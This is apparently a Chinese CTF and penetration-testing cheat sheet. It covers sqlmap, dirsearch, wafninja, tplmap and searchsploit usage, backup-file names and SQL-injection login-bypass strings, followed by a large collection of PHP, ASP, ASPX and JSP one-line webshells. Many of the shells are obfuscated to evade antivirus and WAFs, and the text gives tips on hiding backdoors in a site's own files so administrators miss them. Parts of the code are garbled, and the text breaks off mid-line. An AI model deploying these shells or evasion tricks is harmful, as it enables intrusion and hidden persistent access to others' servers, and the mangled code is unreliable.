目录

工具网站
字典
常用工具
sqlmap
dirsearch
githack
wafninja
searchsploit
tplmap
常见备份文件
万能密码
一句话大全
简易图片马
文件上传
文件包含
伪协议

反序列化 魔法函数 perg_match 绕过

反序列化的私有属性要在类名前后加%00,protected在变量名前添加标记\00\00(%00%00),然后urldecode后使用unserialize反序列化,最后使用var_dump输出
preg:
https://blog.csdn.net/weixin_42789937/article/details/128667822
魔法函数以及反序列化:
https://blog.csdn.net/Reme_mber/article/details/124752229
https://blog.csdn.net/solitudi/article/details/113588692
hustler0000.github.io
_wakeup可以通过改变O:后面的数字,使其与真实数量不符即可绕过

工具网站

ctf清单:https://ctf-wiki.org/
在线ai1:https://my.aigcplus.io/home
文心一言:https://yiyan.baidu.com/welcome
在线ai2:https://c.binjie.fun/#/chat/1697008440757
在线工具:https://ctf.bugku.com/tools
在线代码执行:https://code.y444.cn/php
在线md5:https://cmd5.com/
在线反编译pyc:https://tool.lu/pyc/
词频统计:https://quipqiup.com/


字典

https://gitee.com/adminssssss/infiltration-dictionary
https://blog.csdn.net/qq_46634561/article/details/120019738


常用工具

sqlmap

sqlmap简介
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

sqlmap常用命令

-h 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
-v 详细等级(0-6 默认 10:只显示python错误以及重要信息
1:显示信息以及警告
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头·
6:显示http响应内容

Target:

-u 指定目标url
-d 直接连接数据库
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 从google dork的结果作为目标url
-c 从INI配置文件中加载选项

Request

-A 指定user-agent头
-H 额外的header
-method= 指定HTTP方法(GET/POST)
--data= 通过POST提交数据 
--param-del= 指定参数分隔符
--cookie= 指定cookie的值
--cookie-del= 指定cookie分隔符
--drop-set-cookie 扔掉response中的set-cookie头
--random-agent 使用随机的user-agent头
--host= 设置host头 
--referer= 指定referer头
--headers= 额外的headers
--auth-type= http认证类型(Basic,NTLM,Digest)
--auith-cred= http认证凭证(账号:密码)
--ignore-proxy 忽略系统代理(常用于扫描本地文件)
--proxy= 使用代理
--proxy-cred= 代理认证证书(账号:密码)
--delay= 设置延迟时间(两个请求之间)
--timeout= 超时时来连接前等待(默认 30--retries= 连接超时时重试次数(默认 3--randomize= 随机更改指定的参数的值
--safe-url= 在测试期间经常访问的URL
--safe-post= POST数据发送到安全的URL
--safe-freq= 两次请求之间穿插一个安全的URL 
--skip-urlencode 跳过payload数据的URL编码
--chunked 使用HTTP分块传输加密POST请求
--hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)
--force-ssl 强制使用SSL/HTTPS
--eval=value 请求之前提供Python代码(eg:"import hashlib;id2=hashlib.md5(id).hexdigest()"

Optimization

-o 打开所有优化开关
--predict-output 预测输出(与--threads不兼容)
--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)
--null-connection 空连接
--threads=value 设置线程(默认 1)

Injection

-p 指定测试参数
--skip= 跳过指定参数的测试
--skip-static 跳过测试静态的参数
--dbms= 指定具体DBMS
--os= 指定DBMS操作系统
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑符使值无效
--invalid-string 使用字符串使值无效
--no-cast 关闭payload铸造机制
--no-escape 关闭字符转义机制(默认自动开启)
--prefix= 加入payload前缀
--suffix= 加入payload后缀
--tamper= 指定使用的脚本

Detectiong

--level= 指定测试的等级(1-5 默认为1)
--risk= 指定测试的风险(0-3 默认为1)
--string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功
--not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败
--code= 查询为真时,匹配的HTTP代码
--smart 当有大量检测目标时,只选择基于错误的检测结果
--text-only 仅基于文本内容比较网页
--titles 仅基于标题比较网页

Techniques

--technique= 指定sql注入技术(默认BEUSTQ)
--time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)
--union-clos= 进行查询时,指定列的范围
--union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有 
-b 查询目标DBMS banner信息
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库
--is-dba 查询目标DBMS当前用户是否为DBA
--users 枚举目标DBMS所有的用户
--paswords 枚举目标DBMS用户密码哈希值
--privileges 枚举目标DBMS用户的权限
--roles 枚举DBMS用户的角色
--dbs 枚举DBMS所有的数据库
--tables 枚举DBMS数据库中所有的表
--columns 枚举DBMS数据库表中所有的列
--count 检索表的条目的数量
--dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目
--D db 指定进行枚举的数据库名称
--T table 指定进行枚举的数据库表名称
--C column 指定进行枚举的数据库列名称
--exclude-sysdbs 枚举表时排除系统数据库
--sql-query 指定查询的sql语句
--sql-shell 提示输入一个交互式sql shell

Brute force

--common-tables 暴力破解表 
--common-colomns 暴力破解列

File system access

--file-read 从目标数据库管理文件系统读取文件
--file-write 上传文件到目标数据库管理文件系统
--file-dest 指定写入文件的绝对路径
--os-cmd= 执行操作系统命令
--os-shell 交互式的系统shell
--os-pwn 获取一个OOB shell,Meterpreter或者VNC
--os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC
--os-bof 储存过程缓冲区溢出利用
--os-esc 数据库进程用户权限提升
--msf-path= Metasploit Framework本地安装路径

General

-s sqlite会话文件保存位置
-t 记录所有HTTP流量到指定文件中
--batch 测试过程中, 执行所有默认配置
--charset=v 强制用于数据检索的字符编码 
--crawl= 从目标URL开始爬取网站
--crawl-exclude= 禁止爬取某个页面(eg:logout)
--csv-del= 指定CSV输出中使用的的字符
--dump-format= 储存数据的方式(CSV(default),HTML,SQLITE)
--flush-session 刷新当前目标的会话文件
--fresh-queries 忽略会话文件中储存的查询结果,重新查询
--hex 使用DBMS hex函数进行数据检索
--outpout-dir= 自定义输出目录
--save= 保存选项到INI配置文件中
--scope= 使用正则表达式从提供的日志中guo'l
--alert 再找到SQL注入时运行主机操作系统命令
--purge-output 安全的从输出目录中删除所有内容
--sqlmap-shell 提示输入交互式sqlmap shell
--update 更新sqlmap

sqlmap注入技术简介

--technique= (默认全部使用)
B 基于布尔的盲注
T 基于时间的盲注
E 基于报错的注入
U 基于UNION查询注入
S 基于多语句查询注入

sqlmap获取目标方式

1.指定目标url
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
2.从文件中获取多个url
sqlmap -m 1.txt
3.从文件中加载HTTP请求
sqlmap -r url.txt
4.利用google获取目标
sqlmap -g "inurl:\".php?id=1\""
5.从burp日志中获取目标
sqlmap -l burp.txt 

dirsearch

python dirsearch.py -u http://xxxx //日常使用
python dirsearch.py -u http://xxxx -r //递归扫描,不过容易被检测
python dirsearch.py -u http://xxxx -r -t 30 //线程控制请求速率
python dirsearch.py -u http://xxxx -r -t 30 –proxy 127.0.0.1:8080 //使用代理

安装及简单使用

pip3 install -r requirements.txt # 安装下需要的依赖
python3 dirsearch.py -u [target_url] # 攻击目标url地址,可以用 -u 参数指定多个

命令参数

这个脚本很多功能参数,但能用到的可能比较少,几乎都有默认配置,在 default.conf 中可以看到

版本以及帮助命令

–version 显示程序版本号并退出
-h 显示帮助信息并退出

常用命令参数

-u 攻击目标url地址,可以指定多个,通过逗号分隔
-l url列表文件,比如你可以建一个 targets.txt,里面包含需要攻击的网址
-e 站点文件类型列表,如:php,asp,有默认配置:php,aspx,jsp,html,js,基本主流的格式都包含了
-X 不需要扫描的站点文件类型列表
-w 用指定爆破字典执行,若存在多个通过逗号分隔
-t 指定线程数
-i 仅现实指定的状态码,指定多个通过逗号分隔
-x 不显示指定的状态码,指定多个通过逗号分隔
–exclude-sizes=SIZES 不显示的响应包大小(Example: 123B,4KB)
–exclude-texts=TEXTS 不显示的响应包关键字 (Example: “Not found”, “Error”)
-m 指定请求方式,默认GET

较为冷门配置

–cidr=CIDR 无类域间路由CIDR
–prefixes=PREFIXES 对字典中的每个项添加自定义前缀,比如字典中有个项是app,只要我指定 ~,+,=,那么就会爆破的字典项为 ~app、+app、=app,若存在多个通过逗号分隔
–suffixes=SUFFIXES 添加自定义后缀,同上若存在多个通过逗号分隔
-U 字典全部大写
-L 字典全部小写
-C 首字母大写
-d 指定HTTP request data
-H 设置HTTP请求头,Example: -H “Referer: example.com” -H “Accept: /
–random-user-agent=true/false 随机user-agent开关
–user-agent=USERAGENT 自定义用户凭证,比如 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0,可以伪造请求报文
–cookie=COOKIE 可以设置访问cookie
–exit-on-error 当出错直接关闭程序
–timeout=TIMEOUT 访问超时设置
-s DELAY, –delay=DELAY 请求间隔延迟/s,支持浮点数 Delay between requests (support float number)
–proxy=PROXY 指定访问代理,例如: localhost:8080, socks5://localhost:8088)

输出报告格式

–simple-report=OUTPUTFILE 简洁报告
–plain-text-report=OUTPUTFILE 纯文本格式报告
–json-report=OUTPUTFILE json格式报告
–xml-report=OUTPUTFILE xml格式报告
–markdown-report=OUTPUTFILE markdown格式报告

githack

python2 githack.py https://example.com/.git/

wafninja

基于python2
python wafninja.py fuzz -h # 我们可以把fuzz 换成 bypass,insert-fuzz,insert-bypass,set-db 这几个关键词,便可以查看相对应的帮助信息。

Fuzz是什么?

Generally speaking fuzz is a brute force method which used to break software,就是用大量的测试用例一个一个试,尽可能多的找出有可能出问题的地方。
bypass就是绕过。

使用示例

fuzz(模糊测试):
python wafninja.py fuzz -u “http://www.target.com/index.php?id=FUZZ“ -c “phpsessid=value” -t xss -o output.html
bypass(绕过WAF):python wafninja.py bypass -u “http://www.target.com/index.php“ -p “Name=PAYLOAD&Submit=Submit” -c “phpsessid=value” -t xss -o output.html
insert-fuzz(用户自定义模糊测试载荷):python wafninja.py insert-fuzz -i select -e select -t sql

参数介绍

其他参数:{fuzz,bypass,insert-fuzz,insert-bypass,set-db}fuzz 检查WAF允许通过的符号和关键词。.bypass 从数据库中发送载荷到目标。insert-fuzz 添加一个模糊字符串。insert-bypass 添加一个载荷到绕过列表。set-db 设置另外一个数据库文件。对于别人分享的相同载荷数据库时,这个特别有用。
可选参数:-h, —help 显示帮助信息并且退出。-u URL 目标URL(例如: “www.target.com/index.php?id=FUZZ”)注意:用关键词FUZZ来指定模糊测试的位置。-p POST PARAMETER 通过post参数发送模糊测试载荷 Send fuzz through post parameter-c COOKIE HTTP Cookie 头部-t TYPE 载荷的类型 [sql|xss]-d DELAY 每个请求的等待时间。默认是0秒-o OUTPUT FILE 保存输出到html 文件—proxy PROXY 使用代理;Use a proxy. Format: IP:PORT—prefix PROXY 增加前缀;Add a prefix to every fuzz.—postfix PROXY 增加postfix;Add a postfix to every fuzz.-w WAF 发送特定WAF的有效载荷;Send payloads of certain WAF [default=generic]-e EXPECTED 目标站点的预期输出。如果输入是编码的或类似的,请使用此选项。-p PATH sqlite数据库的路径。默认位置为“db/db.sqlite”

searchsploit

https://www.exploit-db.com/searchsploit

语法

Usage: searchsploit [options] term1 [term2] … [termN]

Examples

searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 –exclude=”(PoC)|/dos/“
For more examples, see the manual: https://www.exploit-db.com/searchsploit/

Options

-c, –case [Term] 区分大小写(默认不区分大小写)
-e, –exact [Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies “-t”].
-h, –help 显示帮助
-j, –json [Term] 以JSON格式显示结果
-m, –mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
-o, –overflow [Term] Exploit标题被允许溢出其列
-p, –path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
-t, –title [Term] 仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, –update 检查并安装任何exploitdb软件包更新(deb或git)
-w, –www [Term] 显示Exploit-DB.com的URL而不是本地路径(在线搜索)
-x, –examine [EDB-ID] 使用$ PAGER检查(副本)Exp
–colour 搜索结果不高亮显示关键词
–id 显示EDB-ID
–nmap [file.xml] 使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
使用“-v”(详细)来尝试更多的组合
–exclude=”term” 从结果中删除值。通过使用“|”分隔多个值
例如–exclude=“term1 | term2 | term3”。

Notes

  • 你可以使用任意数量的搜索词。
  • Search terms are not case-sensitive (by default), and ordering is irrelevant.
  • 搜索术语不区分大小写(默认情况下),而排序则无关紧要。
  • 如果你想用精确的匹配来过滤结果,请使用用 -e 参数
  • 使用’ - t ‘将文件的路径排除,以过滤搜索结果
  • 删除误报(特别是在搜索使用数字时 - i.e. 版本).
  • 当更新或显示帮助时,搜索项将被忽略。
    searchsploit [options] term1 [term2] … [termN]
    searchsploit [选项] 关键字1 [关键字2] … [关键字N]

选项

-c, –case[Term]执行区分大小写的搜索,缺省是对大小写不敏感。
-e, –exact [Term]对exploit标题执行EXACT匹配(默认为AND)
-h, –help在屏幕上显示帮助
-j, –json[Term]以JSON格式显示结果
-m, –mirror [EDB-ID]将一个漏洞利用镜像(副本)到当前工作目录,后面跟漏洞ID号
-o, –overflow [Term]Exploit标题被允许溢出其列
-p, –path[EDB-ID]显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
-t, –title[Term]仅仅搜索漏洞标题(默认是标题和文件的路径)
-u, –update检查并安装任何exploitdb软件包更新(deb或git)
-w, –www [Term]显示http://Exploit-DB.com的URL而不是本地路径(在线搜索)
-x, –examine[EDB-ID]使用$ PAGER检查(副本)漏洞利用
-v –verbose 显示更多的输出信息
–colour在搜索结果中禁用颜色突出显示.
–id显示EDB-ID值而不是本地路径
–nmap[file.xml]使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
使用实例

漏洞更新

searchsploit -u

基本搜索

基本搜索会同时匹配标题和路径中的内容
如:searchsploit smb windows remote

标题搜索

标题搜索只匹配标题,不会对路径中的关键词进行匹配
如:searchsploit -t smb windows remote

联网搜索

searchsploit EternalBlue

复制到文件夹

不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
如:searchsploit -m 42031.py

复制到剪贴板

-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上(如果可能的话)
如:searchsploit -p 42031.py

删除不想要的结果

使用–exclude=选项删除不想要的结果
如:searchsploit smb windows remote –exclude=”(POC)|txt”
利用管道输出(删除不想要的结果的另一种方法)
如:searchsploit smb windows remote | grep rb 只显示rb文件

最后

查询关键字使用的是AND运输,关键字越多,过滤的也就越多,结果也就越准确;使用名称搜索最好是使用全称;如果要搜索微软的漏洞,可以直接使用searchsploit 搜索微软漏洞名称或者漏洞的编号和名字。

tplmap

基于python2
Usage: python tplmap.py [options]

选项:

-h, –help 显示帮助并退出

目标:

-u URL, –url=URL 目标 URL
-X REQUEST, –re.. 强制使用给定的HTTP方法 (e.g. PUT)

请求:

-d DATA, –data=.. 通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
-H HEADERS, –he.. 附加标头 (e.g. ‘Header1: Value1’) 多次使用以添加新的标头
-c COOKIES, –co.. Cookies (e.g. ‘Field1=Value1’) 多次使用以添加新的Cookie
-A USER_AGENT, -.. HTTP User-Agent 标头的值
–proxy=PROXY 使用代理连接到目标URL

检测:

–level=LEVEL 要执行的代码上下文转义级别 (1-5, Default: 1)
-e ENGINE, –eng.. 强制将后端模板引擎设置为此值
-t TECHNIQUE, –.. 技术 R:渲染 T:基于时间的盲注 Default: RT

操作系统访问:

–os-cmd=OS_CMD 执行操作系统命令
–os-shell 提示交互式操作系统Shell
–upload=UPLOAD 上传本地文件到远程主机
–force-overwrite 上传时强制覆盖文件
–download=DOWNL.. 下载远程文件到本地主机
–bind-shell=BIN.. 在目标的TCP端口上生成系统Shell并连接到它
–reverse-shell=.. 运行系统Shell并反向连接到本地主机端口

模板检查:

–tpl-shell 在模板引擎上提示交互式Shell
–tpl-code=TPL_C.. 在模板引擎中注入代码

常规:

–force-level=FO.. 强制将测试级别设置为此值
–injection-tag=.. 使用字符串作为注入标签 (default ‘*’)


常见备份文件

备份文件常见的后缀名
备份文件基本上都是压缩包
www.zip
.rar
.zip
.7z
.tar.gz
.bak
对于bak类的备份文件,可以直接输入文件名称+.bak访问例如:
index.php.bak
.txt
.old
.temp
_index.html
.swp
.sql
.tgz
tar
备份文件常见的文件名
文件名不包含后缀
web
website
backup
back
www
wwwroot
temp
db
data
code
test
admin
user
sql
常见的备份文件所在目录
/ #根目录首先
/admin
/data
/default
/index
/login
/manage
/cmseditor
/db
/bbs
/phpadmin


万能密码

‘ or 1=’1
‘or’=’or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=’1’–
admin888
“or “a”=”a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=’2
‘)or(‘a’=’a
or 4=4–
c
a’or’ 4=4–
“or 4=4–
‘or’a’=’a
“or”=”a’=’a
‘or’’=’
‘or’=’or’
1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 4=4
‘OR 4=4%00
“or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17..admin’ or ‘a’=’a 密码随便
‘or’=’or’
‘or 4=4/*
something
‘ OR ‘1’=’1
1’or’1’=’1
admin’ OR 4=4/*
1’or’1’=’1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*


一句话大全

原文链接:https://blog.csdn.net/qq_44632668/article/details/97818432

PHP

<pre> 
<body>
<? @system($_GET["cc"]); ?>
</body> 
</pre>      

//可执行命令一句话
普通一句话

<?php eval($_POST[cc123]) ?>

<?php @eval($_POST['cc123']);?>

PHP系列

<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xindong"]); ?>

<?php $lang = (string)key($_POST);$lang($_POST['xindong']);?>

<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xindong']);?>

<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST["xindong"]);  ?>
<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>    密码是  -7
过狗一句话

select '<?php @eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'

    1

<?php $_=""; $_[+$_]++; $_=$_.""; $___=$_[+""];//A $____=$___; $____++;//B $_____=$____; $_____++;//C $______=$_____; $______++;//D $_______=$______; $_______++;//E $________=$_______; $________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O $_________=$________; $_________++;$_________++;$_________++;$_________++;//S $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++;$________++;$________++;//R $_____=$_________; $_____++;//T $__=$___.$_________.$_________.$_______.$________.$_____; $__($_("ZXZhbCgkX1BPU1RbMV0p")); ?> <?php $_REQUEST['a']($_REQUEST['b']); ?> <?php $t=$_GET['t']; $tt=$_GET['tt']; $s=
t;$s($REQUEST[′cc123′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=sert$s=
t.$ttt; $s($_REQUEST['cc']);?> <?php $t=$_GET['t']; //t=tt $tt=$_GET['tt']; //tt=as $ttt=$_GET['ttt']; //ttt=s $tttt=$_GET['tttt']; //ttt=ert $s=
t.$ttt.$tttt;$s($REQUEST[′cc′]);?><?php$t=$GET[′t′];//t=tt$tt=$GET[′tt′];//tt=as$ttt=$GET[′ttt′];//ttt=tttt$tttt=$GET[′tttt′];//ttt=sert$s=
t.
ttt;$s($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=b;$b=$REQUEST[′b′];//b=as;$c=$REQUEST[′c′];//c=sert;$d=$REQUEST[′d′];//d=c;$e=
a.
d;$e($REQUEST[′cc′]);?><?php$a=$REQUEST[′a′];//a=assert;$b=$REQUEST[′b′];//b=a;$d=
b; $d($_REQUEST['cc']); ?>
PHP过狗
<?php if($_POST[x]!=''){$a="base64_decode"; eval($a($_POST[z0]));}?> 密码:x

<%a=request(“gold”)%><%eval a%>

fuck<?php
eval
($_POST
[a])
?>
<?php $a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]); $b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]); ?> 密码 4

该日志目录不存在或权限不足,请检查设置!<?php
eval
($_POST
[a])
?>
几个变性的php–过防火墙

过狗效果都不错:
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>
这个是90发的<?php

@$_=“s”.“s”./-/-/“e”./-/-/“r”;

@ = / ∗ − / ∗ − ∗ / &quot; a &quot; . / ∗ − / ∗ − ∗ / _=/*-/*-*/&quot;a&quot;./*-/*-*/ =/∗−/∗−∗/"a"./∗−/∗−∗/_./-/-*/“t”;

@ / ∗ − / ∗ − ∗ / ( _/*-/*-*/( /​∗−/∗−∗/(/-/-/{"_P"./-/-/OS./-/-*/T}

[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]);?>
密码-7
phpv9 高版本拿shell
<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?>

…/…/…/…/html/special/cc/index

ASP

asp 一句话

<%execute(request(“cmd”))%>
<%execute request(“1”)%>
ASP一句话16进制:┼攠數畣整爠煥敵瑳∨≡┩愾 密码a
"%><%Eval(Request(chr(112)))%><%’ p

<%Y=request(“xindong”)%> <%execute(Y)%>

<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“xindong”))%>

<%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&“0”&"-"&“2”&"-"&“5”&")"&")")%>(密码是-7)
ASP过安全狗一句话

密码(pass)

<% %>

<%a=request(“zl”)%><%eval a%>

ASPX系列

ASPX一句话的 过安全狗效果不怎么样

不过我认为能支持aspx 百分之8/90支持asp

<%@ Page Language = Jscript %>
<%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/
“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+
“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+
“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval
(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7

<%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>
密码是webadmin
aspx一句话

<%@ Page Language=“Jscript” validateRequest=“false” %><%Response.Write(eval(Request.Item[“w”],“unsafe”));%>

JSP

<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>

select ‘<?php eval($_POST[cmd];?>’ into outfile ‘C:/Inetpub/wwwroot/mysql-php/1.php’
过护卫神的

<%E=request(“1”)%>abc

123456789
<%execute E%>

原来代码是<%execute request(“cmd”)%> 把标签修改替换下来 为

<scriptlanguage=VBScript runat=server>execute request(“cmd”) 这样就避开了<%,%>符号!

表中数据段限制,一句话木马也写不下的情况
网络中流传的最小的木马代码是<%eval request(“#”)%> 如过连这也写不下怎么办?
将木马分开写就好了! <%Y=request(“x”)%> <%execute(Y)%> 这样分开写提交到数据库就没问题了!
不过,在ACCESS数据库中新增加的数据物理位置是在旧数据之前的,所以要先写<%execute(Y)%>部分。写好后在客户端写密码时除了填写”x”以外的任何字符都可以,如果填了”x”就会出错!
插入一句话容易爆错
例如

Sub unlockPost()

Dim id,replyid,rs,posttable

id=Request(“id”)

replyid=Request(“replyid”)

If Not IsNumeric(id) or id="" Then

写成

Sub unlockPost(<%eval request("#")%>)

Dim id,replyid,rs,posttable

id=Request(“id”)

replyid=Request(“replyid”)

If Not IsNumeric(id) or id="" Then

就可以了,也可以写成带容错语句的格式!!

<%if request(“cmd”)<>""then execute request(“cmd”)%>

关于免杀等

一句话木马到两句话木马的转型!

一句话木马服务端原型:<%execute request(“value”)%> ,

变形后:<%On Error Resume Next execute request(“value”)%> ,

至于为什么要用两句话木马呢,是由于使我们的后门更加隐蔽.

我也试过用一句话插入WellShell的某个ASP文件里面,可是访问时经常出错,而插入两句话木马服务端却可以正常访问了,对站点的页面无任何影响.

这样就达到了隐蔽性更强的目的了,他管理员总不会连自己的网页文件都删了吧.

现在我的WellShell都有这样的后门.选择要插入两句话木马的ASP文件要注意,选一些可以用IE访问的ASP文件,不要选conn.asp这样的文件来插入.

当然,连接两句话木马的客户端仍然是用一句木马的客户端,不用修改.

一句话免杀:

一:变形法

比如:eval(request(“#”))这样的马儿呢,一般情况下是不被杀的。但实际上,经常杀毒软件会把eval(request列为特征码。所以我们变形一下

E=request(“id”)

eval(E)

这样可达到免杀的目的。

例如:<%execute request(“1”)%> 变形后:

<%E=request(“1”)

execute E%>

当然,这种变形是最好做的。

介绍第二种方法:因为很多管理员很聪明,它会检查ASP文件中的execute和eval函数。所以呢,不管你怎么反编译,它最终总是要用其中的一个函数来解释运行,所以还是被发现了。好么,我们用外部文件来调用。建一个a.jpg或者任何不被发现的文件后缀或文件名。写入 execute(request(“#”))当然,你可以先变形后现放上去。然后在ASP文件中插入

来引用它,即可。

不过,管理员可以通过对比文件的方式找到修改过的文件,不过这种情况不多。

在WEBSHeLL中使用命令提示

在使用ASP站长助手6.0时点击命令提示符显示“没有权限”的时候,可以使用ASP站长助手上传CMD.exe到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来),再修改你的WEBSHELL找到调用CMD.EXE的代码。原来的代码如下

.exec(“cmd.exe /c “&DefCmd).stdout.readall

修改为

.exec(“你想上传的cmd.exe绝对路径” /c”&DefCmd).stdout.readall

比如你上传到的目录是D:\web\www\cmd.exe,那么就修改成

.exec(“D:\web\www\cmd.exe /c”&DefCmd).stdout.readall
支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话

实已经不是一句话了,好几句了都。
继续上次的:我使用的一句话的几种姿态

这回研究了下PHP,发一下我使用的一句话(可过文件扫描)。
ASP

密码z,支持菜刀连接;支持变异菜刀连接以过安全狗。

另外:
ASP

<% Function MorfiCoder(Code) MorfiCoder=Replace(Replace(StrReverse(Code),”//“,””””),”*”,vbCrlf)
End Function
Execute MorfiCoder(“)//z/*/(tseuqer lave”) %>
ASPX
<% popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(“UmVxdWVzdC5JdGVtWyJ6Il0=”)))); %>
大家伙 把你们手中好的发出来共享下吧 别藏着了

分享是交流的关键,我不喜欢什么大马 小马 一句话是我的最爱,不仅隐藏性高 免杀效果好 而且无后门(当然排除菜刀有) —- 没禁用一句话post的情况下。

此方法用两个文件实现:
文件1

文件2
$url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer);curl_setopt_array($ch, $options);echo curl_exec($ch);?>
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

在菜刀里写http://site/1.php?2=assert密码是1

在菜刀里写http://site/2.php?=assert&__=eval($POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
($b4dboy = $POST[‘b4dboy’]) && @preg_replace(‘/ad/e’,‘@’.str_rot13(‘riny’).’($b4dboy)’, ‘add’);
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
高级的PHP一句话木马后门
1、$hh = “p”.”r”.”e”.”g”.”
